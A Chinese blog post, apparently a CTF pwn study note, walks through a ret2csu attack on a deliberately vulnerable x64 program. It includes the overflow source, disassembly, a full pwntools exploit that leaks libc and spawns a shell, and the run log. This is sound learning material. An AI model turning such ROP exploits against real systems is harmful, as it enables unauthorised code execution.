Pwn 学习 question_5_plus_x64 ret2csu

1.源代码

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int dofunc(){
    char b[8] = {};
    write(1,"input:",6);
    read(0,b,0x200);
    //printf(b);
    write(1,"bye",3);
    return 0;
}

int main(){
    dofunc();
    return 0;
}

2.源代码分析

  • 没有后门函数
  • 没有/bin/sh
  • 第二个write只输出了三个字符
  • 导致rdx会被修改成3
  • 而且没有可控rdx的gadget
  • 这个时候就要花式栈溢出!!!
  • 在函数编译的时候都会生成一个 libc_csu_init 函数:如下图
  • 这个函数的末尾调用了几乎所有的寄存器
  • 我们可以控制程序来到csu来修改寄存器的值
  • 但是这个方法需要溢出的量比较大
  • 所以要清楚溢出的能否支撑布栈
    在这里插入图片描述

3._libc_csu_init 分析

  • 截取这个函数有用的部分来分析一下利用过程
.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r14
.text:00000000004011EB                 mov     rsi, r13
.text:00000000004011EE                 mov     edi, r12d
.text:00000000004011F1                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
  • 可以看到这个函数调用了很多寄存器
  • 其中有我们要控制的rdx
  • ret2csu适合控制3个参数的函数调用
.text:00000000004011E8                 mov     rdx, r14
  • 从第一行看

r14 -> rdx
r13 -> rsi
r12d -> edi //r12d就是r12的底四位,这里不影响我们传参
然后call [r15 + rbx * 8] // 这里只要把rbx赋值成0就可以直接call [rbx]
然后 rbx = rbx + 1
将rbp和rbx作比较
如果不等于0就跳转到 0x4011E8 //控制rbp和rbx相等即可继续执行下面的ret了
下面:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
就可以用来修改寄存器

  • 看一下布栈情况
    在这里插入图片描述
    在这里插入图片描述

4.ROP编程

  • 上面我们已经完成了第一次溢出
  • 成功的打印了write的函数地址
  • 现在要计算libc_base_addr
  • 然后计算system_addr
  • 再计算"/bin/sh"的地址
  • 看一下计算过程
libc_file = './libc-2.33.so'
libc = ELF(libc_file)
io.recvuntil('bye')

write_addr = u64(io.recv(8)) # 解压
print('write_addr:',hex(write_addr))

write_offset = elf.symbols['write']  # libc也可用ELF函数打开
print('write_offset:', write_offset)
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))

system_offset = elf.symbols['system']
print('system_offset:', system_offset)
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh'))  # 寻找字符串偏移的方式
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_offset:', bin_sh_offset)
print('bin_sh_addr:',hex(bin_sh_addr))
  • 然后第二次溢出
  • 这个时候把system的地址打进去
  • 再把/bin/sh也打进去就可以成功控制函数了

5.ropper看以下gadget

在这里插入图片描述

  • 这个时候只需要rdi就够了
  • 因为我们只传一个参数

6.exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux') #这个可以决定flat函数自动补充的类型
io = process('./question_5_plus_x64_bak')

elf = ELF('question_5_plus_x64_bak')
padding = 16

leak_func_got = elf.got['write']

func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

#gdb.attach(io)
#pause()

pop_rbx_addr = 0x401202
rbx = 0
rbp = 1
r12 = 1
r13 = leak_func_got
r14 = 8
r15 = elf.got['write']
mov_rdx_addr = 0x4011E8
rbx_1 = 0xdeadbeef
rbp_1 = 0xdeadbeef
r12_1 = 0xdeadbeef
r13_1 = 0xdeadbeef
r14_1 = 0xdeadbeef
r15_1 = 0xdeadbeef
ret_addr = func_addr

payload = flat([b'a'* padding, pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_addr, 0xdeadbeef, rbx_1, rbp_1, r12_1, r13_1, r14_1, r15_1, ret_addr])  #ret2csu
print(payload)


io.sendlineafter('input:',payload)



# 以下调用都是libc的,需要使用libc文件查看,所有的偏移都是基于libc版本

libc_file = './libc-2.33.so'
libc = ELF(libc_file)
io.recvuntil('bye')

write_addr = u64(io.recv(8)) # 解压
print('write_addr:',hex(write_addr))

# 这里要注意,因为我是本地编译,所以没用lincseracher
# 大家自己尝试的时候要使用自己的libc版本
# 这里可以去网站上自己搜索一下
# 学习一下有关libcsearch的东西
# 网站附下
# 可能需要科学上网

write_offset = 0xEE5F0  # libc也可用ELF函数打开  这里的地址是我直接去ida64看的,以后会详细介绍一下libcsearcher
print('write_offset:', write_offset)
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))

system_offset = 0x49860
print('system_offset:', system_offset)
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = 0x198882 # 寻找字符串偏移的方式
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_offset:', bin_sh_offset)
print('bin_sh_addr:',hex(bin_sh_addr))

pop_rdi_ret = 0x40120b

payload2 = flat([b'a' * padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('input:',payload2)
# io.recvuntil('bye')
io.interactive()

点击跳转 libc database search

7.看一下效果

┌──(lwj㉿kali)-[~/桌面/git/ctf-pwn/question_5]
└─$ python3 exp_5_plus_x64.py
[+] Starting local process './question_5_plus_x64_bak' argv=[b'./question_5_plus_x64_bak'] : pid 96327
[*] '/home/lwj/桌面/git/ctf-pwn/question_5/question_5_plus_x64_bak'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'aaaaaaaaaaaaaaaa\x02\x12@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\xe8\x11@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x006\x11@\x00\x00\x00\x00\x00'
/home/lwj/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6 bytes:
    b'input:'
[DEBUG] Sent 0x91 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  02 12 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000020  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  │····│····│····│····│
    00000030  18 40 40 00  00 00 00 00  08 00 00 00  00 00 00 00  │·@@·│····│····│····│
    00000040  18 40 40 00  00 00 00 00  e8 11 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000050  ef be ad de  00 00 00 00  ef be ad de  00 00 00 00  │····│····│····│····│
    *
    00000080  ef be ad de  00 00 00 00  36 11 40 00  00 00 00 00  │····│····│6·@·│····│
    00000090  0a                                                  │·│
    00000091
[*] '/home/lwj/桌面/git/ctf-pwn/question_5/libc-2.33.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/lwj/桌面/git/ctf-pwn/question_5/exp_5_plus_x64.py:44: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('bye')
[DEBUG] Received 0x11 bytes:
    00000000  62 79 65 f0  75 2f f7 ab  7f 00 00 69  6e 70 75 74  │bye·│u/··│···i│nput│
    00000010  3a                                                  │:│
    00000011
write_addr: 0x7fabf72f75f0
write_offset: 976368
libc_addr: 0x7fabf7209000
system_offset: 301152
system_addr: 0x7fabf7252860
bin_sh_offset: 1673346
bin_sh_addr: 0x7fabf73a1882
[DEBUG] Sent 0x29 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  0b 12 40 00  00 00 00 00  82 18 3a f7  ab 7f 00 00  │··@·│····│··:·│····│
    00000020  60 28 25 f7  ab 7f 00 00  0a                        │`(%·│····│·│
    00000029
[*] Switching to interactive mode
[DEBUG] Received 0x3 bytes:
    b'bye'
bye$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xd2 bytes:
    b'core\t\t   libc-2.33.so\t\t    question_5_plus_x64.c  test.c\n'
    b'exp_5_plus_x64.py  question_5.c\t\t    question_5_x64\n'
    b'exp_5_x64.py\t   question_5_plus_x64\t    question_5_x86\n'
    b'exp_5_x86.py\t   question_5_plus_x64_bak  test\n'
core           libc-2.33.so            question_5_plus_x64.c  test.c
exp_5_plus_x64.py  question_5.c            question_5_x64
exp_5_x64.py       question_5_plus_x64        question_5_x86
exp_5_x86.py       question_5_plus_x64_bak  test
$ ──(lwj㉿kali)-[~/桌面/git/ctf-pwn/question_5]
[DEBUG] Sent 0x35 bytes:
    00000000  e2 94 80 e2  94 80 28 6c  77 6a e3 89  bf 6b 61 6c  │····│··(l│wj··│·kal│
    00000010  69 29 2d 5b  7e 2f e6 a1  8c e9 9d a2  2f 67 69 74  │i)-[│~/··│····│/git│
    00000020  2f 63 74 66  2d 70 77 6e  2f 71 75 65  73 74 69 6f  │/ctf│-pwn│/que│stio│
    00000030  6e 5f 35 5d  0a                                     │n_5]│·│
    00000035
[DEBUG] Received 0x3a bytes:
    b'/bin/sh: 2: Syntax error: word unexpected (expecting ")")\n'
/bin/sh: 2: Syntax error: word unexpected (expecting ")")
[*] Got EOF while reading in interactive
$ └─$ python3 exp_5_plus_x64.py
[DEBUG] Sent 0x22 bytes:
    00000000  e2 94 94 e2  94 80 24 20  70 79 74 68  6f 6e 33 20  │····│··$ │pyth│on3 │
    00000010  65 78 70 5f  35 5f 70 6c  75 73 5f 78  36 34 2e 70  │exp_│5_pl│us_x│64.p│
    00000020  79 0a                                               │y·│
    00000022
[*] Process './question_5_plus_x64_bak' stopped with exit code -11 (SIGSEGV) (pid 96327)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/home/lwj/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

所有源代码和程序以及调试程序都放在了gitee

点击跳转

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值